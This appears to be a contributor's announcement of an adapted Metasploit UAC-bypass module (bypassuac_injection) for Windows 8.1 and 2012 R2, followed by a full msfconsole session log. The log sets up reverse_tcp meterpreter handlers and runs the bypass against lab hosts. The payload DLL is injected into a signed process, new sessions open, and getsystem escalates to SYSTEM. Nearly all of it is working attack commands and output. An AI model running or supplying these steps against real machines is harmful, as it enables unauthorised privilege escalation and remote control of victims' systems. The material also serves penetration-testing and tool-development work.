Adapt the Windows Escalate UAC Protection Bypass (In Memory Injection)

fonctionality of the metasploit post module bypassuac_injection.rb
for successfully escalate privilege from local admin user to
SYSTEM on Win8.1 and Win2012 R2.

Thanks to Stephen Fewer for the Reflective DLL injection work
Thanks to The Rapid 7 Team and All the Community offering and delivering
metasploit
Thanks to jo! for his help to git, thanks dude!

This feature is developed by Loic VALBON <lvalbon-|-gmail-|-com>
from Provadys (www.provadys.com) and the CheckMates Team!

$ sudo ./msfconsole -y /home/lesage/.msf4/database.yaml
[sudo] password for lesage:
[*] Starting the Metasploit Framework console.../

 ______________________________________________________________________________
|
|
|                          3Kom SuperHack II Logon
|
|______________________________________________________________________________|
|
|
|
|
|
|
|                 User Name:          [   security    ]
|
|
|
|                 Password:           [               ]
|
|
|
|
|
|
|
|                                   [ OK ]
|
|______________________________________________________________________________|
|
|
|
http://metasploit.pro |
|______________________________________________________________________________|

       =[ metasploit v4.10.1-dev [core:4.10.1.pre.dev api:1.0.0]]
+ -- --=[ 1375 exploits - 767 auxiliary - 221 post        ]
+ -- --=[ 342 payloads - 37 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > set LHOST 192.168.34.1
LHOST => 192.168.34.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 1 opened (192.168.34.1:4444 ->
192.168.34.140:49215) at 2014-12-02 22:42:30 +0100

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > set AutoRunScript "migrate -n explorer.exe"
AutoRunScript => migrate -n explorer.exe
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.34.140 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > set AutoRunScript "migrate -n explorer.exe"
AutoRunScript => migrate -n explorer.exe
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 2 opened (192.168.34.1:4444 ->
192.168.34.140:49220) at 2014-12-02 22:44:29 +0100

meterpreter >
[*] Session ID 2 (192.168.34.1:4444 -> 192.168.34.140:49220) processing
AutoRunScript 'migrate -n explorer.exe'
[*] Current server process: t.exe (832)
[+] Migrating to 1424
[+] Successfully migrated to process

meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > search bypassuac_injection

Matching Modules
================

   Name                                       Disclosure Date  Rank
Description
   ----                                       ---------------  ----
-----------
   exploit/windows/local/bypassuac_injection  2010-12-31       excellent
Windows Escalate UAC Protection Bypass (In Memory Injection)

msf exploit(handler) > use exploit/windows/local/bypassuac_injection
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module
on.

Exploit target:

   Id  Name
   --  ----
   0   Windows x86

msf exploit(bypassuac_injection) > set SESSION 2
SESSION => 2
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module
on.

Exploit target:

   Id  Name
   --  ----
   0   Windows x86

msf exploit(bypassuac_injection) > set target 1
target => 1
msf exploit(bypassuac_injection) > set payload
windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Windows x64

msf exploit(bypassuac_injection) > set LHOST 192.168.34.1
LHOST => 192.168.34.1
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST     192.168.34.1     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Windows x64

msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[-] Failed to Inject Payload to 2224!
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[+] Successfully injected payload in to process: 3868
[*] Sending stage (972288 bytes) to 192.168.34.140
[*] Meterpreter session 3 opened (192.168.34.1:4444 ->
192.168.34.140:49223) at 2014-12-02 22:47:03 +0100

meterpreter > background
[*] Backgrounding session 3...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

  Id  Type                   Information
Connection
  --  ----                   -----------
----------
  2   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
  3   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)

msf exploit(bypassuac_injection) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN-OI6R8N7TQPQ
OS              : Windows 8.1 (Build 9600).
Architecture    : x64
System Language : fr_FR
Meterpreter     : x64/win64
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: $U$AUTORITE
NT\Systme-0x4155544f52495445204e545c53797374e86d65
meterpreter >  background
[*] Backgrounding session 3...

 -----------------------------------
| Windows Bypass on Windows 2012 R2 |
 -----------------------------------

msf exploit(bypassuac_injection) > previous
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST     192.168.34.1     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] Starting the payload handler...
[*] Sending stage (972288 bytes) to 192.168.34.129
[*] Meterpreter session 4 opened (192.168.34.1:4444 ->
192.168.34.129:49158) at 2014-12-02 22:50:20 +0100

[*] Session ID 4 (192.168.34.1:4444 -> 192.168.34.129:49158) processing
AutoRunScript 'migrate -n explorer.exe'
meterpreter > [*] Current server process: t.exe (2264)
[+] Migrating to 1996
[+] Successfully migrated to process

meterpreter > sysinfo
Computer        : WIN-00LQMI1LO88
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : fr_FR
Meterpreter     : x64/win64
meterpreter > background
[*] Backgrounding session 4...
msf exploit(handler) > previous
msf exploit(bypassuac_injection) > show options

Module options (exploit/windows/local/bypassuac_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  2                yes       The session to run this module
on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (accepted: seh,
thread, process, none)
   LHOST     192.168.34.1     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Windows x64

msf exploit(bypassuac_injection) > set SESSION 4
SESSION => 4
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[-] Exploit failed: Rex::TimeoutError Operation timed out.
msf exploit(bypassuac_injection) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > sysinfo
Computer        : WIN-00LQMI1LO88
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : fr_FR
Meterpreter     : x64/win64
meterpreter > background
[*] Backgrounding session 4...
msf exploit(bypassuac_injection) > exploit

[*] Started reverse handler on 192.168.34.1:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject
into...
[+] Successfully injected payload in to process: 2052
[*] Sending stage (972288 bytes) to 192.168.34.129
[*] Meterpreter session 5 opened (192.168.34.1:4444 ->
192.168.34.129:49159) at 2014-12-02 22:52:21 +0100

meterpreter > background
[*] Backgrounding session 5...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

  Id  Type                   Information
Connection
  --  ----                   -----------
----------
  2   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
  3   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)
  4   meterpreter x64/win64  WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49158 (192.168.34.129)
  5   meterpreter x64/win64  WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49159 (192.168.34.129)

msf exploit(bypassuac_injection) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer        : WIN-00LQMI1LO88
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64
System Language : fr_FR
Meterpreter     : x64/win64
meterpreter > getuid
Server username: WIN-00LQMI1LO88\lesage
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: $U$AUTORITE
NT\Systme-0x4155544f52495445204e545c53797374e86d65
meterpreter > background
[*] Backgrounding session 5...
msf exploit(bypassuac_injection) > sessions -l

Active sessions
===============

  Id  Type                   Information
Connection
  --  ----                   -----------
----------
  2   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49220 (192.168.34.140)
  3   meterpreter x64/win64  WIN-OI6R8N7TQPQ\lesage @ WIN-OI6R8N7TQPQ
192.168.34.1:4444 -> 192.168.34.140:49223 (192.168.34.140)
  4   meterpreter x64/win64  WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49158 (192.168.34.129)
  5   meterpreter x64/win64  WIN-00LQMI1LO88\lesage @ WIN-00LQMI1LO88
192.168.34.1:4444 -> 192.168.34.129:49159 (192.168.34.129)